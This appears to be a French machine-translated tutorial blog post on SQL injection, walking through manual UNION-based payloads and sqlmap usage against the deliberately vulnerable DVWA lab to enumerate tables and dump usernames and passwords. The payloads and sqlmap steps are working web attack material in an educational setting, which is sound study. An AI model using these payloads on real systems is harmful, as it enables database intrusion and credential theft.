Partage de technologie

[Développement de tests]--Tests d'intrusion de sécurité

2024-07-12

한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina

1. Pénétration de la sécurité

1.1 Classement

  • sécurité de la base de données Web
  • Sécurité du serveur d'applications Web (vulnérabilité de téléchargement de fichiers, vulnérabilité d'inclusion de fichiers)
  • Sécurité du client Web (attaque cross-site XSS)

2.injection SQL

2.1 Introduction à l'injection SQL

  • L'injection SQL en tête de liste des problèmes de sécurité
  • L'attaque par injection SQL consiste dans le fait que les paramètres d'entrée ne sont pas filtrés puis directement intégrés dans l'instruction SQL pour analyse.
  • L'injection SQL est une technique d'attaque qui ajoute du code SQL aux paramètres d'entrée et le transmet au serveur pour analyse et exécution.

2.2 Principe d'injection SQL

  • L'attaquant soumet des caractères malveillants sur la page
  • Le serveur ne filtre pas les paramètres soumis ou le filtrage est insuffisant.
  • Les attaquants utilisent des instructions SQL de épissage pour obtenir des informations sensibles de la base de données

2.3 Dangers de l'injection SQL

  • Fuite de base de données
  • Les données des utilisateurs ont été achetées et vendues illégalement
  • Compromettre la sécurité des applications Web

2.4 Méthode d'implémentation de l'injection SQL

  • Manuel
    • Rechercher : point d'injection
    • Entrée : syntaxe de combinaison d'injection commune SQL pour l'injection
  • automatique (outil)
    • Outil : Rechercher des points d'injection
    • Entrée : essayez automatiquement diverses combinaisons de syntaxe

3.Configuration de l'environnement

3.1 Machine virtuelle VMware

3.1.1 Fonction

  • Logiciel de machine virtuelle, vous pouvez utiliser un logiciel pour installer plusieurs systèmes d'exploitation virtuels (Linux, Windows) sur des machines physiques
  • Drones cibles et pénétrants exécutés avec le logiciel VMware
    Tutoriel de téléchargement VMware

3.2 Drone cible (apprendre à utiliser l'environnement du projet)

effet

  • Un système de machine virtuelle Linux Certaines applications Web présentant des vulnérabilités connues sont installées dans cette machine virtuelle pour faciliter l'apprentissage.
  • Tutoriel d'installation du drone cible OWASP

3.3 Machine de pénétration (apprendre à attaquer l'environnement d'injection SQL)

effet:

  • Kali contient des centaines d'outils qui peuvent être utilisés pour diverses tâches de sécurité de l'information telles que les tests d'intrusion, la recherche sur la sécurité.

4. Injection manuelle

4.1 Préparation de l'environnement

Description : Pratiquez l'injection manuelle via l'application Web du drone
étape:

  • Démarrer le drone cible OWASP
    Insérer la description de l'image ici

  • Accédez au drone via un navigateur

  • Visitez le projet OWASP-dvwa
    Insérer la description de l'image ici

  • Se connecter
    Insérer la description de l'image ici

  • Sélectionnez l'application d'injection SQL
    Insérer la description de l'image ici

4.2 Trouver le point d'injection

Remarque : utilisez principalement des guillemets simples et des caractères d'échappement, principalement des guillemets simples.
principe:

#后台程序sql语句
select first_name,last_name from users where user_id = '$id';
#输入单引号('),相当于将sql语句闭合,后面就可以使用附加其他逻辑条件了
select first_name,last_name fro users where user_id = ''';
  • 1
  • 2
  • 3
  • 4

Insérer la description de l'image ici

Insérer la description de l'image ici

4.3 OU logique

Insérer la description de l'image ici

4.4 Devinez le nombre de colonnes

  1. par syndicat
' union select 1,2 #
  • 1

Insérer la description de l'image ici
2. Par OU logique

'or 1=1#
  • 1

Insérer la description de l'image ici

4.5 Obtenir des bases de données, des tables et des colonnes

Obtenir le nom de la base de données

' union select 1,database()#
  • 1

Insérer la description de l'image ici
Obtenir le tableau

' union select table_name,1 from information_schema.tables where table_schema='dvwa' #
  • 1

Insérer la description de l'image ici

Obtenir des colonnes

' union select column_name,1 from information_schema.columns where table_name='users' #
  • 1

Insérer la description de l'image ici

4.6 Obtenir des données

//1. 获取单个字段数据
' union select user,1 from users#

//2. 获取两个字段
' union select user,password from users#
  • 1
  • 2
  • 3
  • 4
  • 5

Insérer la description de l'image ici

4.7 Fonction de concaténation

Fonction : Épisser plusieurs chaînes en une seule chaîne
Syntaxe : concat(str1,str2,…)
Exemple:

  • Obtenez user_id, user, password de la table users et affichez-les dans deux colonnes
select user_id,concat (user,password) from dvwa,users;
  • 1

Insérer la description de l'image ici

  • Résoudre le problème de la fusion de l'utilisateur et du mot de passe
select user_id,concat('user:',user,' password:',password) from dvwa.users;
  • 1

Insérer la description de l'image ici

  • Obtenez plusieurs champs
' union select user,concat(first_name,' ',last_name,' ',password) from users#
  • 1

Insérer la description de l'image ici

5. Injection automatique

5.1 Introduction à l'injection automatique

Remarque : L'injection automatique fait référence à l'utilisation d'outils au lieu d'un travail manuel pour effectuer les opérations d'injection SQL.
Outil : sqlmap

5.2 Injecter automatiquement l'environnement

  • Démarrez le drone
  • Démarrer la machine à pénétration

5.3 sqlmap

Outil : sqlmap

  • Un outil de test d'intrusion open source
  • Détectez et exploitez automatiquement les vulnérabilités d’injection SQL et prenez le contrôle des serveurs de bases de données
    Construire:

5.3.1 Utilisation de base de sqlmap

paramètre

  • -u : analyser l'URL cible
  • –batch : traiter automatiquement les informations d'invite
  • –cookie : paramètres de cookies supplémentaires

étape

  • Point d'injection de numérisation
  • Obtenir le nom de la base de données
  • Obtenir le nom de la table
  • Obtenir le nom du champ
  • récupérer des données

Puisque nous devons nous connecter, nous obtenons d'abord le cookie de la page connectée
Insérer la description de l'image ici
Commencez ensuite à scanner le point d'injection
Insérer la description de l'image ici
Injection réussie
Insérer la description de l'image ici

5.3.2 sqlmap obtient le nom de la bibliothèque

– current-db : interroge le nom de la base de données utilisé par le site Web actuel
-D : appliquer la base de données spécifiée
Insérer la description de l'image ici
résultat de l'opération :
Insérer la description de l'image ici

5.3.3 sqlmap obtient une table

– current-db : interrogez tous les noms de tables sous la bibliothèque spécifiée (vous devez d'abord utiliser -D pour spécifier le nom de la bibliothèque)
-T : Spécifiez le tableau
Insérer la description de l'image ici

résultat de l'opération :
Insérer la description de l'image ici

5.3.4 sqlmap récupère les colonnes

– colonnes : interrogez tous les champs de la table spécifiée (vous devez d'abord utiliser -T pour spécifier le nom de la table)
-C : Spécifiez le nom du champ

Insérer la description de l'image ici
résultat de l'opération :
Insérer la description de l'image ici

5.3.5 sqlmap obtient des données

–dump : télécharger les données

Insérer la description de l'image ici
résultat de l'opération :
Insérer la description de l'image ici